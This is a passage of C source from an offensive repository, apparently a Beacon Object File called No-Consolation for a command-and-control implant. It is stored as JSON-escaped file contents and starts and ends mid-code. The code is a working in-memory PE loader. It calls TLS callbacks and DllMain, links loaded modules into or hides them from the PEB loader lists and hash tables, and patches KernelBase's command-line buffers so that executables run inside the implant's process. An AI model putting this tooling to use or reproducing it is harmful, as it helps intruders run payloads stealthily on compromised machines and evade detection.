}\n    }\n    else\n    {\n        peinfo->EntryPoint = RVA2VA(PVOID, pe_base, nt->OptionalHeader.AddressOfEntryPoint);\n    }\n\n    if (peinfo->link_to_peb)\n    {\n        DPRINT(\"Linking module to the PEB\");\n\n        if (!link_module(peinfo, pe_base))\n        {\n            DPRINT(\"Failed to link module to the PEB\");\n            goto Cleanup;\n        }\n        peinfo->linked = TRUE;\n    }\n\n    if (peinfo->ldr_entry)\n    {\n        DPRINT(\"Processing Thread Local Storage\");\n\n        fp.ptr = find_ldrp_handle_tls_data();;\n        if (fp.ptr)\n        {\n            status = fp.thiscall(peinfo->ldr_entry);\n            if (!NT_SUCCESS(status))\n            {\n                syscall_failed(\"LdrpHandleTlsData\", status);\n                goto Cleanup;\n            }\n\n            peinfo->handled_tls = TRUE;\n        }\n    }\n\n    // Execute TLS callbacks\n    rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;\n    if (rva != 0)\n    {\n        DPRINT(\"Processing TLS directory\");\n\n        tls = RVA2VA(PIMAGE_TLS_DIRECTORY, pe_base, rva);\n\n        // address of callbacks is absolute. requires relocation information\n        callbacks = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks;\n        DPRINT(\"AddressOfCallBacks : %p\", callbacks);\n\n        if (callbacks)\n        {\n            while (*callbacks != NULL)\n            {\n                /*\n                 * while TLS callbacks are called by this thread (meaning, no hwbp)\n                 * this in unlikely to be an issue given that they are\n                 * usually created by the compiler and should be harmless\n                 */\n                DPRINT(\"Calling %p\", *callbacks);\n                (*callbacks)((LPVOID)pe_base, DLL_PROCESS_ATTACH, NULL);\n                callbacks++;\n            }\n        }\n    }\n\n    // call DllMain if apropiate\n    if (peinfo->is_dll && (peinfo->is_dependency || peinfo->method) && peinfo->DllMain)\n    {\n        DPRINT(\"Executing DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL)\");\n\n        DllMain = peinfo->DllMain;\n        DllMain(peinfo->pe_base, DLL_PROCESS_ATTACH, NULL);\n    }\n\n    if (!peinfo->is_dependency && !SetCommandLineW(peinfo->cmdwline))\n    {\n        goto Cleanup;\n    }\n\n    if (peinfo->dont_unload)\n    {\n        store_loaded_dll(peinfo, peinfo->pe_base, peinfo->pe_name);\n    }\n\n    peinfo->loaded = TRUE;\n\n    return TRUE;\n\nCleanup:\n\n    // TODO: cleanup?\n    return FALSE;\n}\n\n// check each exit-related api with name provided\nBOOL IsExitAPI(\n    IN PCHAR name)\n{\n    PCHAR str = \"ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit;_o_exit;CorExitProcess\\0\";\n    return string_is_included(str, name);\n}\n\n// returns TRUE if ptr is heap memory\nBOOL IsHeapPtr(\n    IN LPVOID ptr)\n{\n    NTSTATUS                 status = STATUS_UNSUCCESSFUL;\n    MEMORY_BASIC_INFORMATION mbi    = { 0 };\n    MEMORY_INFORMATION_CLASS mic    = 0;\n\n    if (ptr == NULL) return FALSE;\n\n    // query the pointer\n    status = NtQueryVirtualMemory(NtCurrentProcess(), ptr, mic, &mbi, sizeof(mbi), NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryVirtualMemory\", status);\n        return FALSE;\n    }\n\n    return (mbi.State   == MEM_COMMIT  &&\n            mbi.Type    == MEM_PRIVATE &&\n            mbi.Protect == PAGE_READWRITE);\n}\n\n\n// check if memory address can be read\nBOOL IsReadable(\n    IN LPVOID ptr)\n{\n    NTSTATUS                 status = STATUS_UNSUCCESSFUL;\n    MEMORY_BASIC_INFORMATION mbi    = { 0 };\n    MEMORY_INFORMATION_CLASS mic    = 0;\n\n    if (ptr == NULL) return FALSE;\n\n    // query the pointer\n    status = NtQueryVirtualMemory(NtCurrentProcess(), ptr, mic, &mbi, sizeof(mbi), NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryVirtualMemory\", status);\n        return FALSE;\n    }\n\n    return (mbi.Protect == PAGE_READWRITE    ||\n            mbi.Protect == PAGE_READONLY     ||\n            mbi.Protect == PAGE_EXECUTE_READ ||\n            mbi.Protect == PAGE_EXECUTE_READWRITE);\n}\n\n/*\n * Set the command line for host process.\n * This replaces kernelbase!BaseUnicodeCommandLine and kernelbase!BaseAnsiCommandLine\n * that kernelbase!KernelBaseDllInitialize reads from NtCurrentPeb()->ProcessParameters->CommandLine\n */\nBOOL SetCommandLineW(\n    IN PCWSTR CommandLine)\n{\n    PIMAGE_DOS_HEADER      dos      = NULL;\n    PIMAGE_NT_HEADERS      nt       = NULL;\n    PIMAGE_SECTION_HEADER  sh       = NULL;\n    DWORD                  i        = 0;\n    DWORD                  cnt      = 0;\n    PULONG_PTR             ds       = NULL;\n    HMODULE                m        = NULL;\n    ANSI_STRING            ansi     = { 0 };\n    PANSI_STRING           mbs      = NULL;\n    PUNICODE_STRING        wcs      = NULL;\n    PPEB2                  peb      = NULL;\n    PPEB_LDR_DATA2         ldr      = NULL;\n    PLDR_DATA_TABLE_ENTRY2 dte      = NULL;\n    CHAR                   **argv   = NULL;\n    WCHAR                  **wargv  = NULL;\n    p_acmdln_t             p_acmdln = NULL;\n    p_wcmdln_t             p_wcmdln = NULL;\n    CHAR                   sym[128] = { 0 };\n    PCHAR                  str      = NULL;\n    INT                    fptr     = 0;\n    INT                    atype    = 0;\n    PVOID                  addr     = NULL;\n    PVOID                  wcmd     = NULL;\n    PVOID                  acmd     = NULL;\n\n    if (!CommandLine)\n        return TRUE;\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n    ldr = (PPEB_LDR_DATA2)peb->Ldr;\n\n    m   = xGetLibAddress(\"KernelBase\", TRUE, NULL);\n    dos = (PIMAGE_DOS_HEADER)m;\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);\n    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +\n          nt->FileHeader.SizeOfOptionalHeader);\n\n    // locate the .data segment, save VA and number of pointers\n    for (i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (*(PDWORD)sh[i].Name == *(PDWORD)\".data\")\n        {\n            ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);\n            cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);\n            break;\n        }\n    }\n\n    DPRINT(\"Searching %i pointers\", cnt);\n\n    wcmd = GetCommandLineW();\n\n    for (i = 0; i < cnt; i++)\n    {\n        wcs = (PUNICODE_STRING)&ds[i];\n        // skip if not equal\n        if (wcs->Buffer != wcmd) continue;\n        DPRINT(\"BaseUnicodeCommandLine found at %p:%p : %ls\", &ds[i], wcs->Buffer, wcs->Buffer);\n        // overwrite buffer for GetCommandLineW\n        RtlCreateUnicodeString(wcs, CommandLine);\n        DPRINT(\"GetCommandLineW() : %ls\", GetCommandLineW());\n        break;\n    }\n\n    acmd = GetCommandLineA();\n\n    for (i = 0; i < cnt; i++)\n    {\n        mbs = (PANSI_STRING)&ds[i];\n        // skip if not equal\n        if (mbs->Buffer != acmd) continue;\n        DPRINT(\"BaseAnsiCommandLine found at %p:%p : %s\", &ds[i], mbs->Buffer, mbs->Buffer);\n        RtlUnicodeStringToAnsiString(&ansi, wcs, TRUE);\n        memcpy(&ds[i], &ansi, sizeof(ANSI_STRING));\n        DPRINT(\"GetCommandLineA() : %s\", GetCommandLineA());\n        break;\n    }\n\n    // for each DLL loaded\n    for (dte=(PLDR_DATA_TABLE_ENTRY2)ldr->InLoadOrderModuleList.Flink;\n         dte->DllBase != NULL;\n         dte=(PLDR_DATA_TABLE_ENTRY2)dte->InLoadOrderLinks.Flink)\n    {\n        // check for exported symbols and patch according to string type\n        str = (PCHAR)\"_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv\\0\";\n\n        for (;;)\n        {\n            // reset flags\n            atype = 1; fptr = 0;\n            // store string until null byte or semi-colon encountered\n            for (i = 0; str[i] != '\\0' && str[i] != ';' && i < 128; i++)\n            {\n                // w indicates unicode type\n                if (str[i] == 'w') atype = 0;\n                // p indicates function pointer\n                if (str[i] == 'p') fptr  = 1;\n                // store byte\n                sym[i] = str[i];\n            }\n            // nothing stored? end loop for this DLL\n            if (i == 0) break;\n            // skip name plus one for separator\n            str += (i + 1);\n            // store null terminator\n            sym[i] = '\\0';\n            // see if it can be resolved for current module\n            addr = xGetProcAddress(dte->DllBase, sym, 0);\n            // nothing resolve? get the next symbol from list\n            if (addr == NULL) continue;\n            // is this ansi?\n            if (atype)\n            {\n                argv = (PCHAR*)addr;\n                // pointer?\n                if (fptr != 0)\n                {\n                    p_acmdln = (p_acmdln_t)addr;\n                    argv = p_acmdln();\n                }\n                // anything to patch?\n                DPRINT(\"Checking %s\", sym);\n                if (IsReadable(argv) && IsHeapPtr(*argv))\n                {\n                    DPRINT(\"Setting %ls!%s \\\"%s\\\" to \\\"%s\\\"\", dte->BaseDllName.Buffer, sym, *argv, ansi.Buffer);\n                    *argv = ansi.Buffer;\n                }\n            }\n            else\n            {\n                wargv = (PWCHAR*)addr;\n                // pointer?\n                if (fptr != 0)\n                {\n                    p_wcmdln = (p_wcmdln_t)addr;\n                    wargv = p_wcmdln();\n                }\n                // anything to patch?\n                DPRINT(\"Checking %s\", sym);\n                if (IsReadable(wargv) && IsHeapPtr(*wargv))\n                {\n                    DPRINT(\"Setting %ls!%s \\\"%ls\\\" to \\\"%ls\\\"\", dte->BaseDllName.Buffer, sym, *wargv, wcs->Buffer);\n                    *wargv = wcs->Buffer;\n                }\n            }\n        }\n    }\n\n    return TRUE;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/peb.c",
    "content": "\n#include \"peb.h\"\n#include \"loader.h\"\n\n// find a DLL with a certain export, used by xGetProcAddress and FindExport\nLPVOID find_reference(\n    IN LPVOID original_dll,\n    IN PCHAR dll_name,\n    IN PCHAR api_name)\n{\n    PPEB2                  peb  = NULL;\n    PPEB_LDR_DATA2         ldr  = NULL;\n    PLDR_DATA_TABLE_ENTRY2 dte  = NULL;\n    LPVOID                 addr = NULL;\n    LPVOID                 base = NULL;\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n    ldr = (PPEB_LDR_DATA2)peb->Ldr;\n\n    // for each DLL loaded\n    for (dte=(PLDR_DATA_TABLE_ENTRY2)ldr->InLoadOrderModuleList.Flink;\n         dte->DllBase != NULL && addr == NULL;\n         dte=(PLDR_DATA_TABLE_ENTRY2)dte->InLoadOrderLinks.Flink)\n    {\n        base = dte->DllBase;\n        // if this is the dll with the reference, continue\n        if (base == original_dll) continue;\n\n        addr = xGetProcAddress(base, api_name, 0);\n    }\n    if (addr == NULL)\n    {\n        // we did not find the reference, use LoadLibrary\n        DPRINT(\"Could not find %s, using LoadLibraryA\", dll_name);\n        HMODULE hModule = LoadLibraryA(dll_name);\n        if (hModule != NULL)\n        {\n            DPRINT(\"Calling GetProcAddress(%s, %s)\", dll_name, api_name);\n            addr = GetProcAddress(hModule, api_name);\n        }\n    }\n\n    return addr;\n}\n\n// search for an export in a DLL\nLPVOID xGetProcAddress(\n    IN LPVOID base,\n    IN PCHAR api_name,\n    IN DWORD ordinal)\n{\n    PIMAGE_DOS_HEADER       dos           = NULL;\n    PIMAGE_NT_HEADERS       nt            = NULL;\n    PIMAGE_DATA_DIRECTORY   dir           = NULL;\n    PIMAGE_EXPORT_DIRECTORY exp           = NULL;\n    LPVOID                  addr          = NULL;\n    DWORD                   rva           = 0;\n    DWORD                   cnt           = 0;\n    PDWORD                  adr           = NULL;\n    PDWORD                  sym           = NULL;\n    PWORD                   ord           = NULL;\n    PCHAR                   api           = NULL;\n    CHAR                    dll_name[256] = { 0 };\n    CHAR                    new_api[256]  = { 0 };\n    DWORD                   i             = 0;\n    PCHAR                   p             = NULL;\n    DWORD                   len           = 0;\n    PVOID                   newbase       = NULL;\n\n    if (base == NULL) return NULL;\n\n    dos = (PIMAGE_DOS_HEADER)base;\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);\n    dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;\n    rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\n\n    // if no export table, return NULL\n    if (rva == 0) return NULL;\n\n    exp = RVA2VA(PIMAGE_EXPORT_DIRECTORY, base, rva);\n    adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions);\n    sym = RVA2VA(PDWORD,base, exp->AddressOfNames);\n    ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals);\n\n    if (api_name != NULL)\n    {\n        // exported by name\n        cnt = exp->NumberOfNames;\n        // if no api names, return NULL\n        if (cnt == 0) return NULL;\n\n        do {\n            api = RVA2VA(PCHAR, base, sym[cnt-1]);\n            // check if the export name matches the API we are looking for\n            if (!_stricmp(api, api_name))\n            {\n                // get the address of the API\n                addr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]);\n            }\n        } while (--cnt && addr == NULL);\n    }\n    else\n    {\n        // exported by ordinal\n        addr = RVA2VA(PVOID, base, adr[ordinal - exp->Base]);\n    }\n\n      // is this a forward reference?\n    if ((PBYTE)addr >= (PBYTE)exp &&\n      (PBYTE)addr <  (PBYTE)exp +\n      dir[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)\n    {\n        //DPRINT(\"%s is forwarded to %s\", api_name, (char*)addr);\n\n        // copy DLL name to buffer\n        p=(char*)addr;\n        len=StringLengthA(p);\n\n        for (i=0; p[i] != 0 && i < sizeof(dll_name) - 4; i++)\n        {\n            dll_name[i] = p[i];\n        }\n\n        for (i=len-1; i > 0; i--)\n        {\n            if(p[i] == '.') break;\n        }\n\n        dll_name[i+1] = 'd';\n        dll_name[i+2] = 'l';\n        dll_name[i+3] = 'l';\n        dll_name[i+4] = 0;\n\n        p += i + 1;\n\n        // copy API name to buffer\n        for(i = 0; p[i] != 0 && i < sizeof(new_api) - 1; i++)\n        {\n            new_api[i] = p[i];\n        }\n        new_api[i] = 0;\n\n        newbase = handle_dependency(NULL, dll_name);\n        if (base == newbase)\n        {\n            /*\n             * the api set seems to resolve to itself...\n             * lets just iterate over all loaded modules and\n             * find a module with the export we are looking for\n             */\n\n            addr = find_reference(base, dll_name, new_api);\n        }\n        else\n        {\n            /*\n             * we got a different DLL, call xGetProcAddress recursively\n             */\n\n            addr = xGetProcAddress(newbase, new_api, 0);\n        }\n    }\n\n    return addr;\n}\n\n// find a DLL by name, load it if not found\nLPVOID xGetLibAddress(\n    IN PCHAR search,\n    IN BOOL load,\n    OUT PBOOL loaded)\n{\n    PPEB2                   peb          = NULL;\n    PPEB_LDR_DATA2          ldr          = NULL;\n    PIMAGE_DOS_HEADER       dos          = NULL;\n    PIMAGE_NT_HEADERS       nt           = NULL;\n    PLDR_DATA_TABLE_ENTRY2  dte          = NULL;\n    PIMAGE_EXPORT_DIRECTORY exp          = NULL;\n    LPVOID                  addr         = NULL;\n    LPVOID                  base         = NULL;\n    DWORD                   rva          = 0;\n    PCHAR                   name         = NULL;\n    CHAR                    dll_name[64] = { 0 };\n    DWORD                   i            = 0;\n    int                     correct      = -1;\n\n    if (loaded)\n        *loaded = FALSE;\n\n    for(i = 0; search[i] != 0 && i < 64; i++)\n    {\n        dll_name[i] = search[i];\n    }\n    dll_name[i] = 0;\n    // make sure the name ends with '.dll'\n    if (dll_name[i-4] != '.')\n    {\n        dll_name[i++] = '.';\n        dll_name[i++] = 'd';\n        dll_name[i++] = 'l';\n        dll_name[i++] = 'l';\n        dll_name[i++] = 0;\n    }\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n    ldr = (PPEB_LDR_DATA2)peb->Ldr;\n\n    // for each DLL loaded\n    for (dte=(PLDR_DATA_TABLE_ENTRY2)ldr->InLoadOrderModuleList.Flink;\n         correct != 0 && dte->DllBase != NULL && addr == NULL;\n         dte=(PLDR_DATA_TABLE_ENTRY2)dte->InLoadOrderLinks.Flink)\n    {\n        base = dte->DllBase;\n        dos  = (PIMAGE_DOS_HEADER)base;\n        nt   = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);\n        rva  = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\n        if (rva == 0) continue;\n\n        exp  = RVA2VA(PIMAGE_EXPORT_DIRECTORY, base, rva);\n        name = RVA2VA(PCHAR, base, exp->Name);\n\n        correct = _stricmp(dll_name, name);\n\n        if (correct == 0) {\n            addr = base;\n        }\n    }\n\n    //DPRINT(\"Address of %s: %p\", dll_name, addr);\n\n    // if the DLL was not found, load it\n    if (!addr && load)\n    {\n        addr = LoadLibraryA(dll_name);\n        DPRINT(\"Dll not found. Loaded %s via LoadLibrary at 0x%p\", dll_name, addr);\n        if (addr && loaded)\n            *loaded = TRUE;\n    }\n\n    return addr;\n}\n\nULONG ldr_hash_entry(\n    IN UNICODE_STRING UniName,\n    IN BOOL XorHash)\n{\n    ULONG ulRes = 0;\n\n    NTSTATUS ( WINAPI *RtlHashUnicodeString ) ( PCUNICODE_STRING, BOOLEAN, ULONG, PULONG ) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlHashUnicodeString\", 0);\n    if (!RtlHashUnicodeString)\n    {\n        api_not_found(\"RtlHashUnicodeString\");\n        return 0;\n    }\n\n    RtlHashUnicodeString(&UniName, TRUE, 0, &ulRes);\n\n    if (XorHash)\n    {\n        ulRes &= (LDR_HASH_TABLE_ENTRIES - 1);\n    }\n\n    return ulRes;\n}\n\n#ifdef _WIN64\n\nPLDR_DATA_TABLE_ENTRY2 find_ldr_table_entry(\n    IN PCWSTR BaseName)\n{\n    PPEB2                  peb        = NULL;\n    PLDR_DATA_TABLE_ENTRY2 pCurEntry  = NULL;\n    PLIST_ENTRY            pListHead  = NULL;\n    PLIST_ENTRY            pListEntry = NULL;\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n\n    pListHead  = &peb->Ldr->InLoadOrderModuleList;\n    pListEntry = pListHead->Flink;\n\n    do\n    {\n        pCurEntry  = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY2, InLoadOrderLinks);\n        pListEntry = pListEntry->Flink;\n\n        if (wcscmp(BaseName, pCurEntry->BaseDllName.Buffer) == 0)\n            return pCurEntry;\n    } while (pListEntry != pListHead);\n\n    DPRINT_ERR(\"Failed to find FindLdr table entry for %ls\", BaseName);\n\n    return NULL;\n}\n\n/*\n * Try to find the address of ntdll!LdrpModuleBaseAddressIndex\n */\nPRTL_RB_TREE find_module_base_address_index(VOID)\n{\n    SIZE_T                 stEnd             = 0;\n    PRTL_BALANCED_NODE     pNode             = NULL;\n    PRTL_RB_TREE           pModBaseAddrIndex = NULL;\n    PLDR_DATA_TABLE_ENTRY2 ldr_entry         = NULL;\n    PIMAGE_NT_HEADERS      nt                = NULL;\n    PIMAGE_SECTION_HEADER  sh                = NULL;\n    SIZE_T                 stRet             = 0;\n    DWORD                  dwLen             = 0;\n    SIZE_T                 stBegin           = 0;\n    PMEMORY_STRUCTS        mem_structs       = NULL;\n\n    // check if we have saved the address of the module_base_address_index\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->module_base_address_index)\n        return mem_structs->module_base_address_index;\n\n    ldr_entry = find_ldr_table_entry(L\"ntdll.dll\");\n    if (!ldr_entry)\n        return NULL;\n\n    pNode = &ldr_entry->BaseAddressIndexNode;\n\n    do\n    {\n        pNode = (PRTL_BALANCED_NODE)(pNode->ParentValue & (~7));\n    } while (pNode->ParentValue & (~7));\n\n    if (!pNode->Red)\n    {\n        dwLen   = 0;\n        stBegin = 0;\n\n        nt = RVA2VA(\n            PIMAGE_NT_HEADERS,\n            ldr_entry->DllBase,\n            ((PIMAGE_DOS_HEADER)ldr_entry->DllBase)->e_lfanew);\n\n        sh = IMAGE_FIRST_SECTION(nt);\n\n        for (INT i = 0; i < nt->FileHeader.NumberOfSections; i++)\n        {\n            if (!strncmp(\".data\", (LPCSTR)sh->Name, 6))\n            {\n                stBegin = RVA2VA(SIZE_T, ldr_entry->DllBase, sh->VirtualAddress);\n                dwLen   = sh->Misc.VirtualSize;\n                break;\n            }\n\n            ++sh;\n        }\n\n        if (!stBegin || !dwLen)\n        {\n            DPRINT(\"Failed to find section\");\n            return NULL;\n        }\n\n        for (DWORD i = 0; i < dwLen - sizeof(SIZE_T); ++stBegin, ++i)\n        {\n            stRet = RtlCompareMemory((PVOID)stBegin, &pNode, sizeof(SIZE_T));\n\n            if (stRet == sizeof(SIZE_T))\n            {\n                stEnd = stBegin;\n                break;\n            }\n        }\n\n        if (stEnd)\n        {\n            PRTL_RB_TREE pTree = (PRTL_RB_TREE)stEnd;\n\n            if (pTree && pTree->Root && pTree->Min)\n                pModBaseAddrIndex = pTree;\n        }\n    }\n\n    if (!pModBaseAddrIndex)\n    {\n        DPRINT_ERR(\"Failed to find module base address index\");\n    }\n    else\n    {\n        // save the address of the module_base_address_index;\n        if (mem_structs)\n            mem_structs->module_base_address_index = pModBaseAddrIndex;\n    }\n\n    return pModBaseAddrIndex;\n}\n\n/*\n * This function is equivalent to ntdll!LdrpInsertModuleToIndexLockHeld\n */\nBOOL update_base_address_entry(\n    IN PLDR_DATA_TABLE_ENTRY2 ldr_entry,\n    IN BOOL add_entry)\n{\n    PRTL_RB_TREE           pModBaseAddrIndex = NULL;\n    PLDR_DATA_TABLE_ENTRY2 pNodeLdrEntry     = NULL;\n    PRTL_BALANCED_NODE     pLdrNode          = NULL;\n    PRTL_BALANCED_NODE     CurrNode          = NULL;\n    BOOL                   bRight            = FALSE;\n    PVOID                  lpBaseAddr        = ldr_entry->DllBase;\n\n    pModBaseAddrIndex = find_module_base_address_index();\n    if (!pModBaseAddrIndex)\n        return FALSE;\n\n    if (!add_entry)\n    {\n        VOID ( WINAPI *RtlRbRemoveNode ) ( PRTL_RB_TREE, PRTL_BALANCED_NODE ) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlRbRemoveNode\", 0);\n        if (!RtlRbRemoveNode)\n        {\n            api_not_found(\"RtlRbRemoveNode\");\n            return FALSE;\n        }\n\n        RtlRbRemoveNode(pModBaseAddrIndex, &ldr_entry->BaseAddressIndexNode);\n        return TRUE;\n    }\n\n    pLdrNode = pModBaseAddrIndex->Root;\n    CurrNode = pLdrNode;\n\n    while (pLdrNode != NULL)\n    {\n        CurrNode = pLdrNode;\n\n        pNodeLdrEntry = CONTAINING_RECORD(pLdrNode, LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode);\n\n        if (pNodeLdrEntry->DllBase <= lpBaseAddr)\n        {\n            pLdrNode = CurrNode->Right;\n\n            if (!pLdrNode)\n            {\n                bRight = TRUE;\n                break;\n            }\n        }\n        else\n        {\n            pLdrNode = CurrNode->Left;\n        }\n    }\n\n    VOID ( WINAPI *RtlRbInsertNodeEx ) ( PRTL_RB_TREE, PRTL_BALANCED_NODE, BOOLEAN, PRTL_BALANCED_NODE ) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlRbInsertNodeEx\", 0);\n    if (!RtlRbInsertNodeEx)\n    {\n        api_not_found(\"RtlRbInsertNodeEx\");\n        return FALSE;\n    }\n\n    RtlRbInsertNodeEx(pModBaseAddrIndex, CurrNode, bRight, &ldr_entry->BaseAddressIndexNode);\n    ldr_entry->Flags |= 0x80;\n\n    return TRUE;\n}\n\n/*\n * Find the address of ntdll!LdrpHashTable in memory\n */\nPLIST_ENTRY find_hash_table(VOID)\n{\n    PPEB2                  peb           = NULL;\n    PLIST_ENTRY            pList         = NULL;\n    PLIST_ENTRY            pHead         = NULL;\n    PLIST_ENTRY            pEntry        = NULL;\n    PLDR_DATA_TABLE_ENTRY2 pCurrentEntry = NULL;\n    ULONG                  ulHash        = 0;\n    PMEMORY_STRUCTS        mem_structs   = NULL;\n\n    // check if we have saved the address of the hash_table\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->hash_table)\n        return mem_structs->hash_table;\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n\n    pHead  = &peb->Ldr->InInitializationOrderModuleList;\n    pEntry = pHead->Flink;\n\n    do\n    {\n        pCurrentEntry = CONTAINING_RECORD(\n            pEntry,\n            LDR_DATA_TABLE_ENTRY2,\n            InInitializationOrderLinks);\n\n        pEntry = pEntry->Flink;\n\n        if (pCurrentEntry->HashLinks.Flink == &pCurrentEntry->HashLinks)\n            continue;\n\n        pList = pCurrentEntry->HashLinks.Flink;\n\n        if (pList->Flink == &pCurrentEntry->HashLinks)\n        {\n            ulHash = ldr_hash_entry(pCurrentEntry->BaseDllName, TRUE);\n\n            pList = (PLIST_ENTRY)(\n                (size_t)pCurrentEntry->HashLinks.Flink -\n                ulHash * sizeof(LIST_ENTRY));\n\n            break;\n        }\n\n        pList = NULL;\n    } while (pHead != pEntry);\n\n    if (!pList)\n    {\n        DPRINT_ERR(\"Failed to find hash table\");\n    }\n    else\n    {\n        // save the address of the hash_table\n        if (mem_structs)\n            mem_structs->hash_table = pList;\n    }\n\n    return pList;\n}\n\n#endif\n\nBOOL unlink_module(\n    IN PLDR_DATA_TABLE_ENTRY2 ldr_entry)\n{\n#ifdef _WIN64\n    // remove from the base address entry\n    if (!update_base_address_entry(ldr_entry, FALSE))\n        return FALSE;\n\n    // remove from the ldr hash table\n    unlink_from_list(&ldr_entry->HashLinks);\n#endif\n\n    // remove from standard lists\n    unlink_from_list(&ldr_entry->InLoadOrderLinks);\n    unlink_from_list(&ldr_entry->InMemoryOrderLinks);\n    unlink_from_list(&ldr_entry->InInitializationOrderLinks);\n\n    return TRUE;\n}\n\n/*\n * Link the Ldr entry into all the PEB lists\n */\nBOOL link_ldr_entry(\n    IN PLDR_DATA_TABLE_ENTRY2 ldr_entry)\n{\n    PPEB2          peb           = NULL;\n    PPEB_LDR_DATA2 ldr           = NULL;\n#ifdef _WIN64\n    PLIST_ENTRY    LdrpHashTable = NULL;\n    ULONG          ulHash        = 0;\n\n    LdrpHashTable = find_hash_table();\n    if (!LdrpHashTable)\n        return FALSE;\n\n    // add to the ldr hash table\n    if (!update_base_address_entry(ldr_entry, TRUE))\n        return FALSE;\n\n    // insert into the ldr hash table\n    ulHash = ldr_hash_entry(ldr_entry->BaseDllName, TRUE);\n    insert_tail_list(&LdrpHashTable[ulHash], &ldr_entry->HashLinks);\n#endif\n\n    peb = (PPEB2)READ_MEMLOC(PEB_OFFSET);\n    ldr = (PPEB_LDR_DATA2)peb->Ldr;\n\n    // insert into standard lists\n    insert_tail_list(&ldr->InLoadOrderModuleList, &ldr_entry->InLoadOrderLinks);\n    insert_tail_list(&ldr->InMemoryOrderModuleList, &ldr_entry->InMemoryOrderLinks);\n    insert_tail_list(&ldr->InInitializationOrderModuleList, &ldr_entry->InInitializationOrderLinks);\n\n    return TRUE;\n}\n\nPLDR_DATA_TABLE_ENTRY2 create_ldr_entry(\n    IN PLOADED_PE_INFO peinfo,\n    IN PVOID base_address)\n{\n    PIMAGE_NT_HEADERS      nt        = NULL;\n    PLDR_DATA_TABLE_ENTRY2 ldr_entry = NULL;\n    LPWSTR                 pe_wname  = NULL;\n    LPWSTR                 pe_wpath  = NULL;\n\n    nt = RVA2VA(PIMAGE_NT_HEADERS, base_address, ((PIMAGE_DOS_HEADER)base_address)->e_lfanew);\n\n    NTSTATUS ( WINAPI *NtQuerySystemTime ) ( PLARGE_INTEGER ) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"NtQuerySystemTime\", 0);\n    if (!NtQuerySystemTime)\n    {\n        api_not_found(\"NtQuerySystemTime\");\n        return NULL;\n    }\n\n    ldr_entry = intAlloc(sizeof(LDR_DATA_TABLE_ENTRY2));\n    if (!ldr_entry)\n    {\n        malloc_failed();\n        return NULL;\n    }\n\n    pe_wname = intAlloc(sizeof(WCHAR) * MAX_PATH);\n    wcscpy(pe_wname, peinfo->pe_wname);\n    pe_wpath = intAlloc(sizeof(WCHAR) * MAX_PATH);\n    wcscpy(pe_wpath, peinfo->pe_wpath);\n\n    // start setting the values in the entry\n    NtQuerySystemTime(&ldr_entry->LoadTime);\n\n    ldr_entry->ReferenceCount        = 1;\n    ldr_entry->LoadReason            = LoadReasonDynamicLoad;\n    ldr_entry->OriginalBase          = nt->OptionalHeader.ImageBase;\n    ldr_entry->ImageDll              = TRUE;\n    ldr_entry->LoadNotificationsSent = TRUE;\n    ldr_entry->EntryProcessed        = TRUE;\n    ldr_entry->InLegacyLists         = TRUE;\n    ldr_entry->InIndexes             = TRUE;\n    ldr_entry->ProcessAttachCalled   = TRUE;\n    ldr_entry->InExceptionTable      = FALSE;\n    ldr_entry->DllBase               = base_address;\n    ldr_entry->SizeOfImage           = nt->OptionalHeader.SizeOfImage;\n    ldr_entry->TimeDateStamp         = nt->FileHeader.TimeDateStamp;\n    myRtlInitUnicodeString(&ldr_entry->BaseDllName, pe_wname);\n    myRtlInitUnicodeString(&ldr_entry->FullDllName, pe_wpath);\n    ldr_entry->ObsoleteLoadCount     = 1;\n    ldr_entry->Flags                 = LDRP_IMAGE_DLL | LDRP_ENTRY_INSERTED | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED | LDRP_DONT_CALL_FOR_THREADS;\n    ldr_entry->BaseNameHashValue     = ldr_hash_entry(ldr_entry->BaseDllName, FALSE);\n    ldr_entry->EntryPoint            = RVA2VA(PVOID, base_address, nt->OptionalHeader.AddressOfEntryPoint);\n\n    // set the correct values in the Ddag node struct\n    ldr_entry->DdagNode = 